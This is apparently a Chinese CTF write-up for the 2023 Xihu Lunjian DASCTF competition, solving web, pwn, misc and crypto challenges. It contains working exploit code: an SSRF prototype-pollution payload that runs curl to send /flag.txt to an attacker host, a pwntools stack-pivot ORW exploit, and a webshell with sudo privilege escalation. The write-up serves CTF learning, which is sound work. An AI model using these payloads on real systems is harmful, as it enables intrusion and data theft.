2023年西湖论剑 | 风尘孤狼
0%

2023年西湖论剑

image-20230203123031680

前言

image-20230203123650665

WP

WEB

扭转乾坤

大写一个F即可

img

得到flag

DASCTF{407a13a21a6b85b1236b003479468c82}

unusual php

phpinfo发现test的拓展

img

读php.ini

img

读取so文件

http://url/?a=read&file=php://filter/convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so

反编译看一下存在对文件进行rc4解密操作

img

那就对一句话rc4加密

img

base64解码后保存为exp.php,上传发现需要提权

img

尝试使用sudo发现tty问题,使用python加载一个pty

python3 -c ‘import pty;pty.spawn(“/bin/sh”)’

img

sudo进行cat,发现需要密码,在etc目录发现sudoers.bak备份文件,发现www用户chmod不需要密码

img

直接上权限,读flag

img

DASCTF{20663467266566204775890084453113}

Node Magical Login

简单的js代码审计。Flag分成了两部分。

第一部分:

img

这里就简单的判断了一下user是否等于admin,直接绕过。

img

第二部分:

img

checkcode !== “aGr5AtSp55dRacer”,让其为真,利用数组绕过。

img

Flag为:DASCTF{23565735532540557696203746863296}

real_ez_node

找到类似的题目。

几道nodejs题目的分析_GAPPPPP的博客-CSDN博客_nodejs ssrf

里边Node Game这一道也是ssrf。

修改一下里边的代码,利用ssrf打原型链污染。

Exp:

import requests

import urllib.parse

 

def encode(a):

  tmp = u""

  for i in a:

​    tmp += chr(0x0100+ord(i))

  return tmp

 

payload = ''' HTTP/1.1

 

POST /copy HTTP/1.1

Host: 127.0.0.1

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.76

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Content-Type: application/json

Connection: close

Content-Length: 170

 

{"constructor.prototype.outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('curl http://vps:port -F xx=@/flag.txt');var __tmp2"}

GET / HTTP/1.1

test:'''.replace("\n","\r\n")

payload = encode(payload)

re = requests.get('http://3000.endpoint-9a3d98e7aaf647ae8c64b7007bfc464b.m.ins.cloud.dasctf.com:81/curl?q=' + urllib.parse.quote(payload))

print(re.text)

img

Flag为:DASCTF{10034776926713905225407173576398}

PWN

Message Board

有沙盒保护,那就用orw读flag打印出来

img
一个是格式化字符串漏洞,一个是栈溢出,只能溢出两个地址,那就用栈迁移

调试得出%31$p可以把libc—start—main+243泄露出来,

从而得出libc——base

然后写orw,再栈迁移去执行,得到flag

from pwn import *

context(os = 'linux',arch = 'amd64',log_level = 'debug')

p=remote("tcp.cloud.dasctf.com",29040)

\#p=process("./pwn")

libc=ELF("./libc.so.6")

elf=ELF("./pwn")

 

leave_ret=0x00000000004012e1

bss=0x404080

pop_rdi=0x0000000000401413

main = 0x401378

 

p.recvuntil("Welcome to DASCTF message board, please leave your name:\n")

\#gdb.attach(p)

\#pause()

p.sendline(str("%31$p"))

p.recvuntil("Hello, ")

addr=int(p.recvuntil(b"\n")[:-1],16)-243

print(hex(addr))

libc_base=addr-libc.sym["__libc_start_main"]

print(hex(libc_base))

 

read_addr=libc_base+libc.sym["read"]

write_addr=libc_base+libc.sym["write"]

open_addr=libc_base+libc.sym["open"]

pop_rsi=libc_base+0x000000000002601f

pop_rdx=libc_base+0x0000000000142c92

 

 

p.recvuntil("Now, please say something to DASCTF:\n")

payload=b'a'*0xb0+p64(bss+0x200)+p64(main)

\#gdb.attach(p)

\#pause()

p.send(payload)

 

payload = b"/flag\x00\x00\x00" # 0x4041d0

payload += p64(pop_rdi)

payload += p64(0x4041d0)

payload += p64(pop_rsi)

payload += p64(0)

payload += p64(open_addr)

payload += p64(pop_rdi)

payload += p64(3)

payload += p64(pop_rsi)

payload += p64(0x404700)

payload += p64(pop_rdx)

payload += p64(0x100)

payload += p64(read_addr)

payload += p64(pop_rdi)

payload += p64(1)

payload += p64(pop_rsi)

payload += p64(0x404700)

payload += p64(pop_rdx)

payload += p64(0x100)

payload += p64(write_addr)

payload = payload.ljust(0xb0, b"a")

payload += p64(0x4041d0)

payload += p64(leave_ret)

 

p.send(payload)

 

p.interactive()

img

DASCTF{20107889289710880412926736681857}

MISC

签到题喵

img

关注公众号发送西湖论剑2023我来了!得到flag

img

DASCTF{W3lc0m3_t0_GCSIS_2023}

take_the_zip_easy

压缩包加密

可以看到压缩包里面的压缩包和流量一个名,猜测里面也是流量

img

使用bkcrack工具直接爆

工具地址Releases · kimci86/bkcrack (github.com)

.\bkcrack.exe -C .\zipeasy.zip -c dasflow.zip -p .\1.txt -o 30

得到key 2b7d78f3 0ebcabad a069728c

img

恢复完整密码:123#@!qazWSX

.\bkcrack.exe -C .\zipeasy.zip -k 2b7d78f3 0ebcabad a069728c -r 15 ?p

img

解压分析流量

哥斯拉流量特征

img

往前翻几个流量,找到$key=‘d8ea7326e6ec5916’;

img

发现flag.zip

img

找到一个类似题目的文章

(85条消息) 首届“陇剑杯”网络安全大赛题目wifi详解_u011250160的博客-CSDN博客

直接用里面的脚本跑出来明文

<?php

function encode($D,$K){

  for($i=0;$i<strlen($D);$i++){

​    $c = $K[$i+1&15];

​    $D[$i] = $D[$i]^$c;

  }

  return $D;

}

 

$pass='air123';

$payloadName='payload';

$key='d8ea7326e6ec5916';

// 原来的数据去掉前十六位和后十六位然后解密

echo gzdecode(encode(base64_decode('J+5pNzMyNmU2Zkj4dYADUu5NThjkf39Jf7E3ff4hHq4XSElxItE0ZQOqa0EPMTZk'),$key));

?>

img

img

img

img

得到关键命令

cmdLinePsh -c “cd “/var/www/html/upload/”;zip -o flag.zip /flag -P airDAS1231qaSW@” 2>&1methodNameexecCommand

得到压缩包密码为airDAS1231qaSW@

解压得到flag

img

DASCTF{7892a81d23580e4f3073494db431afc5}

mp3

MP3音频隐写,使用MP3stego解密得到一串密码

img

音频使用formost可以分离出来一个图片

img

然后对该图片进行zsteg隐写解密可以检测分离出来一个压缩包

img

img

解压密码就是上面的

8750d5109208213f

得到

img

文件名是47,是rot47解密

在线解密得到

这是js,直接放控制台跑出来flag

a=~[];a={:++a,aaaa:(![]+“”)[a],a:++a,a_a:(![]+“”)[a],a:++a,a_aa:({}+“”)[a],aa_a:(a[a]+“”)[a],aa:++a,aaa:(!“”+“”)[a],a:++a,a_a:++a,aa:({}+“”)[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+“”)[a.a_a]+(a.a=a.a[a.a])+(a.aa=(a.a+“”)[a.a])+((!a)+“”)[a._aa]+(a.=a.a[a.aa])+(a.a=(!“”+“”)[a.a])+(a.=(!“”+“”)[a.a])+a.a[a.a_a]+a.+a.a+a.a;a.aa=a.a+(!“”+“”)[a.aa]+a.__+a.+a.a+a.aa;a.a=(a.)[a.a][a.a];a.a(a.a(a.aa+“”“+a.a_a_+(![]+”“)[a.a]+a.aaa_+”\“+a.a+a.aa+a.a+a.+“(\”\"+a.a+a.+a.a__+”\“+a.a+a.+a.a+“\”+a.a+a.a+a.aa+“\”+a.a+a.+a.aa+“\”+a.a+a.a+a.a+“\”+a.a+a.+a.aa+“{”+a.aaaa+a.a+a.+a.a__a+a.aaa+a.a+a.a_a+a.aaa+a.aa_a+a.aa+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.a+a.a_a+a.aa+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+”}\“\”+a.a__+a.___+“);”+“”")())();

img

DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

CRYPTO

MyErrorLearn

分析源码逻辑,三次数据交互,分别是mod,r1,r2,d1,d2,最终需要解密出secret

由d1 = invert(secret + r1, p)得
d1=(secret+r1)-1-p
变换得(secret+r1)
-1=d1+p
化简得secret=(1-d1r1-pr1)(d1+p)**-1

由p为未知数故设p1为a,p2为b

代回去消去未知数secret,变形为一端=0

(1 - r1 * a - r1 * d1) * (d2 + b)-(1 - r2 * b - r2 * d2) * (d1 + a) = 0

定义f为求解的函数,a,b是生成的二元多项式整数环

即f = (1 - r1 * a - r1 * d1) * (d2 + b)-(1 - r2 * b - r2 * d2) * (d1 + a)

利用多元模多项式求解小值解,利用coppersmith求解a,.b

【coppersmith代码借鉴https://zhuanlan.zhihu.com/p/561322960】

脚本如下

import itertools
def small_roots(f, bounds, m=1, d=None):
    d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
 
    for i in range(m + 1):
        base = N ^ (m - i) * f ^ i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
 
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
 
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
 
    B = B.dense_matrix().LLL()
 
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1 / factor)
 
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B * monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
 
    return []
 
mod = 92100081961922123317354364142973232257272371216119985095295208975594012322694336837687903587489702164051771885305360479800056587123002931410178102082687907359991556301050157342199356458401722027715097873416983026040036496765934235032324550748150997337318826388553502634550248086829079176920898088118038867551
 
r1 = 8214590193925238830505127604775413782332733392815062381248757476059854117758683270097252412866307611637367034142922256065905470403923560144204645716546449
d1 = 89750710412409099564854488895838804911632857521414963283460533705489238233639042729131713101249001764032359271488136597969717865865908207494966703360976015727598402072831611939183300529475809872044133505192962069023343886502414066845507585364807172441652853899627975472528604849314557790383810544591414215338
 
r2 = 12530692180542335757367199237138051814559195301829114851062867901112554199516531210622434281574085869105541901024468525551800387587824433268881913394543751
d2 = 56984826749503729138938771754062570762741357041693033530193868051455677494732316842071771667696238229676952474890782597755591220510875881362589098271458797942431119444889619225670045434514547419532506635422638811227606061406310777543460067584360606610382347668548374124824000810533259395933988679507314881086
 
 
 
PR.<a,b>= PolynomialRing(Zmod(mod))
 
f1 = (1 - r1 * a - r1 * d1) * (d2 + b)
f2 = (1 - r2 * b - r2 * d2) * (d1 + a)
f = f1 - f2
 
bounds=(2**246, 2**246)
root= small_roots(f, bounds)
#print(root)
 
res= root[0][0]
answer=   - r1 +  inverse_mod(int(d1 + res), int(mod))
print(answer)
得到secret     =58035638763211779635385694691281079480117214515681262829931581576067273044379807718928297777673686996338877456978343922762720727731134991027418112191072637470541308432268351606475176969118729960499904608456012293549859406863184474766031030156678534133549912415744404819235823252201334512088834796944477723471
输入远程验证,得到flag

img

DASCTF{79052339950974957833193602615575}

制作不易,如若感觉写的不错,欢迎打赏